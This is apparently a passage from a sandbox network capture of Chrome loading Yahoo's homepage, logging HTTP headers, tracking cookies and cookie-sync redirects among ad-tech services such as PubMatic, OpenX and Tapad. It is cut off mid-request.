2024-01-10 23:27:17 UTC	792	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 Cache-Control: private Access-Control-Allow-Origin: * Content-Type: image/gif X-Content-Type-Options: nosniff Date: Wed, 10 Jan 2024 23:27:17 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
299	192.168.2.4	50066	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	947	OUT	GET /cksync?cs=63&axid_e=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ovsid=968062845637553879&dpid=58267 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1
2024-01-10 23:27:17 UTC	662	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-zta=968062845637553879~~63;Expires=Sat, 24 Feb 2024 23:27:17 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:17 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:17 GMT Connection: close
2024-01-10 23:27:17 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:17 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
300	192.168.2.4	50075	52.87.108.188	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	758	OUT	GET /cookie-sync/pm?gdpr=0&gdpr_consent=&_bee_ppp=1 HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: checkForPermission=ok
2024-01-10 23:27:17 UTC	795	IN	HTTP/1.1 303 See Other Date: Wed, 10 Jan 2024 23:27:17 GMT location: https://cm.g.doubleclick.net/pixel?google_nid=beeswaxio&google_sc=&google_hm=QUFCc20wN0xQbEFBQUJNTExvbGRZZw&gdpr=0&gdpr_consent=&bee_sync_partners=pp%2Csas%2Csyn%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 Server: gunicorn set-cookie: bito=AABsm07LPlAAABMLLoldYg; Domain=bidr.io; expires=Sat, 08 Feb 2025 18:27:17 GMT; Path=/; SameSite=None; Secure set-cookie: bitoIsSecure=ok; Domain=bidr.io; expires=Sat, 08 Feb 2025 18:27:17 GMT; Path=/; SameSite=None; Secure set-cookie: checkForPermission=""; Domain=bidr.io; expires=Thu, 01 May 2008 00:00:00 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
301	192.168.2.4	50068	3.162.125.63	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	696	OUT	GET /js/template/style/style_banner_7fb70a.css HTTP/1.1 Host: cdn.mediago.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:17 UTC	579	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 3091 Connection: close Last-Modified: Wed, 27 Dec 2023 08:15:25 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: NDWQk1EMVz7H9N2Kuy078AyiaC_xhnrs Accept-Ranges: bytes Server: AmazonS3 Date: Wed, 10 Jan 2024 15:21:59 GMT ETag: "bea392c41094f40bf9e3423a01311bf4" X-Cache: Hit from cloudfront Via: 1.1 7af6fcba5fc7d18afd4c6d456b52e886.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD61-P3 X-Amz-Cf-Id: uoOSumza8Mwm2RX8bWarvVqW1G6R17KcOK5AGnh7Ld3FU5mNLPB3Bg== Age: 29119 Access-Control-Allow-Origin: *
2024-01-10 23:27:17 UTC	3091	IN	Data Raw: 2f 2a 0a 2a 20 40 41 75 74 68 6f 72 3a 20 66 61 6e 67 73 69 6d 69 6e 0a 2a 20 40 44 61 74 65 3a 20 20 20 32 30 32 30 2d 30 36 2d 30 31 20 31 35 3a 33 31 3a 35 34 0a 2a 20 40 4c 61 73 74 20 4d 6f 64 69 66 69 65 64 20 62 79 3a 20 20 20 66 61 6e 67 73 69 6d 69 6e 0a 2a 20 40 4c 61 73 74 20 4d 6f 64 69 66 69 65 64 20 74 69 6d 65 3a 20 32 30 32 30 2d 30 36 2d 30 31 20 31 35 3a 33 31 3a 35 34 0a 2a 2f 0a 2e 6d 65 64 69 61 67 6f 2d 70 6c 61 63 65 6d 65 6e 74 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 53 65 67 6f 65 20 55 49 20 53 65 6d 69 6c 69 67 68 74 22 2c 20 22 53 65 67 6f 65 20 57 50 20 53 65 6d 69 6c 69 67 68 74 22 2c 20 22 53 65 67 6f 65 20 57 50 22 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 41 72 69 61 6c 2c 20 53 61 6e 73 2d 53 65 72 69 66 Data Ascii: /** @Author: fangsimin* @Date: 2020-06-01 15:31:54* @Last Modified by: fangsimin* @Last Modified time: 2020-06-01 15:31:54*/.mediago-placement { font-family: "Segoe UI Semilight", "Segoe WP Semilight", "Segoe WP", "Segoe UI", Arial, Sans-Serif

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
302	192.168.2.4	50086	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	1025	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzMDEmdGw9MTI5NjAw&piggybackCookie=cabe22d6-b00f-11ee-b20f-088496e42def HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13
2024-01-10 23:27:18 UTC	650	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:16 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:16 GMT; path=/ Set-Cookie: PugT=1704929236; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:16 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:18 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
303	192.168.2.4	50065	54.157.90.217	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	752	OUT	GET /d/sync/cookie/generic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=${ADELPHIC_CUID}&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.ipredictive.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:17 UTC	549	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Wed, 10 Jan 2024 23:27:17 GMT Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=41161a4c-fb0e-4073-8161-2fb10dec6a95&gdpr=0&gdpr_consent= Set-Cookie: cu=41161a4c-fb0e-4073-8161-2fb10dec6a95\|1704929237903; Path=/; Domain=ipredictive.com; Expires=Thu, 09 Jan 2025 23:27:17 GMT; Max-Age=31536000; SameSite=None; Secure X-CI-RTID: c6a95ffc-a347-4053-af84-ad5bc0f11b66 Content-Length: 205 Connection: Close
2024-01-10 23:27:17 UTC	205	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 71 63 7a 30 78 4a 6d 4e 76 5a 47 55 39 4d 7a 49 31 4d 43 5a 30 62 44 30 78 4d 6a 6b 32 4d 44 41 3d 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 34 31 31 36 31 61 34 63 2d 66 62 30 65 2d 34 30 37 33 2d 38 31 36 31 2d 32 66 62 31 30 64 65 63 36 61 39 35 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=41161a4c-fb0e-4073-8161-2fb10dec6a95&gdpr=0&gdpr_consent=">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
304	192.168.2.4	50076	69.166.1.67	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	868	OUT	GET /us?gdpr=0&gdpr_consent=&gpp_sid=&gpp=&loc=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26vsid%3D3479308310180275000V10%26type%3Dson%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26ovsid%3D%5BUID%5D%26axid_e%3D HTTP/1.1 Host: sync.go.sonobi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __uis=34d855fd-fbdc-4f5b-9260-4fff223b8b66; HAPLB8G=s86156\|ZZ8n2
2024-01-10 23:27:17 UTC	764	IN	HTTP/1.1 302 Found date: Wed, 10 Jan 2024 23:27:17 GMT content-type: text/plain; charset=utf8 content-length: 0 expires: Sat, 26 Jul 1997 05:00:00 GMT cache-control: no-cache, no-store, private p3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" pragma: no-cache tcn: Choice vary: negotiate,Accept-Encoding x-go-server: go-iad-2-6-156 x-xss-protection: 0 location: https://hb.yahoo.net/cksync.php?cs=1&vsid=3479308310180275000V10&type=son&refUrl=&vid=49292349683479308310180275000V10&ovsid=34d855fd-fbdc-4f5b-9260-4fff223b8b66&axid_e= set-cookie: __uis=34d855fd-fbdc-4f5b-9260-4fff223b8b66; expires=Fri, 09 Feb 2024 23:27:17 GMT; domain=.go.sonobi.com; path=/; secure; SameSite=None server: sonobi-go connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
305	192.168.2.4	50088	34.111.113.62	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	749	OUT	GET /idsync/ex/receive/check?partner_id=3371&partner_device_id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1704929237034; TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251
2024-01-10 23:27:18 UTC	1227	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:17 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1704929237034;Expires=Sun, 10 Mar 2024 23:27:17 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251;Expires=Sun, 10 Mar 2024 23:27:17 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=;Expires=Sun, 10 Mar 2024 23:27:17 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Location: https://match.adsrvr.org/track/cmf/generic?ttd_pid=tapad&ttd_tpi=1&ttd_puid=d16e3823-cacb-438f-9bfc-c2bc8c823251%252C%252C&gdpr=0&gdpr_consent= Content-Length: 0 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
306	192.168.2.4	50080	35.207.24.140	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	632	OUT	GET /sync?ssp=medianet&ssp_user_id=3479308330180239000V10 HTTP/1.1 Host: rtb.mfadsrvr.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:18 UTC	721	IN	HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache, no-store, must-revalidate Content-Length: 0 Date: Wed, 10 Jan 2024 23:27:17 GMT Location: https://rtb.mfadsrvr.com/ul_cb/sync?ssp=medianet&ssp_user_id=3479308330180239000V10 Set-Cookie: tuuid=20ed5203-3644-4449-ae7b-5e053499d8b1; path=/; expires=Fri, 09-Jan-2026 23:27:17 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: c=1704929237; path=/; expires=Fri, 09-Jan-2026 23:27:17 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: tuuid_lu=1704929237; path=/; expires=Fri, 09-Jan-2026 23:27:17 GMT; domain=.mfadsrvr.com; samesite=none; secure Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
307	192.168.2.4	50077	34.98.64.218	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	884	OUT	GET /w/1.0/cm?id=9e0a35ea-c8e3-4b1b-9efa-4af6f54a373e&gdpr=0&gdpr_consent=&gpp_sid=&gpp=&r=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26vsid%3D3479308310180275000V10%26type%3Dopx%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26axid_e%3D%26ovsid%3D HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=adf1d594-3006-0faa-26e7-7fcb0b6d0f69\|1704929237
2024-01-10 23:27:18 UTC	644	IN	HTTP/1.1 302 Found Vary: Accept, Accept-Encoding Set-Cookie: i=adf1d594-3006-0faa-26e7-7fcb0b6d0f69\|1704929237; Version=1; Expires=Thu, 09-Jan-2025 23:27:18 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://hb.yahoo.net/cksync.php?cs=1&vsid=3479308310180275000V10&type=opx&refUrl=&vid=49292349683479308310180275000V10&axid_e=&ovsid=50996944-41eb-0a14-2f16-7629f8e9c8fd Date: Wed, 10 Jan 2024 23:27:18 GMT Content-Type: image/gif Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
308	192.168.2.4	50078	52.223.22.214	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	825	OUT	GET /getuid?gdpr=0&cmp_cs=&gpp_sid=&gpp=&redir=https%3A%2F%2Fhb.yahoo.net%2Fcksync.html%3Fcs%3D1%26vsid%3D3479308310180275000V10%26type%3Dtlt%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26ovsid%3D%24UID%26axid_e%3D HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluid=3631141743957125218505
2024-01-10 23:27:18 UTC	594	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:18 GMT Content-Length: 0 Connection: close Location: https://hb.yahoo.net/cksync.html?cs=1&vsid=3479308310180275000V10&type=tlt&refUrl=&vid=49292349683479308310180275000V10&ovsid=3631141743957125218505&axid_e= Cache-Control: no-cache, no-store, must-revalidate P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" Set-Cookie: tluid=3631141743957125218505; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Tue, 09 Apr 2024 23:27:18 GMT; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
309	192.168.2.4	50096	162.248.18.34	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	887	OUT	GET /AdServer/SPug?partnerID=156078&xid=y-QoGBxapE2uVcxYncQGfqtzmJ2fkSj78-~A&gdpr=0 HTTP/1.1 Host: image4.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13
2024-01-10 23:27:18 UTC	408	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:18 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: SPugT=1704929238; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:18 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
310	192.168.2.4	50095	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	1643	OUT	POST /p?s=2023538075&t=1704929236453&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&rid=0gast8pipu9uc&limitedAds=false&NPA=false&pd=unknown&pt=home&id=sda-LREC4-iframe&isRefresh=false&loc=mid_right_b&renderCount=0&status=failed HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; 